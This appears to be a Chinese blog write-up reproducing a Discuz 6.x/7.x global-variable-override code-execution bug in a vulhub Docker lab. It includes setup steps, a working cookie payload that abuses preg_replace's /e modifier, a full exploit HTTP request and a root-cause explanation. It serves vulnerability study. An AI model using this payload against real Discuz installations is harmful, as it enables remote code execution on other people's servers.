vulhub

wooyun-2010-080723

2019-07-30  本文已影响206人  3mi1e

Discuz 7.x/6.x 全局变量防御绕过导致代码执行

1.漏洞影响版本

Discuz! 6.x/7.x

2.漏洞危害

代码执行

3.漏洞POC
部署虚拟机
cd /root/vulhub/discuz/wooyun-2010-080723              //进入本次复现的漏洞目录
docker-compose up -d                                   //docker-compose搭建环境
部署成功

启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root。

安装路径

安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

查看新帖

修改COOKIE

GET /viewthread.php?tid=1&highlight= HTTP/1.1
Host: 192.168.11.146:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.11.146:8080/search.php?searchid=2&orderby=lastpost&ascdesc=desc&searchsubmit=yes
Connection: close
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

命令执行成功

网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。

4.复盘

漏洞出现原因
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致REQUEST中不再包含COOKIE,我们通过在Cookie中传入GLOBALS来覆盖全局变量,造成代码执行漏洞。
总结
php5.3.X
Discuz 6.X/7.X

上一篇 下一篇

猜你喜欢

热点阅读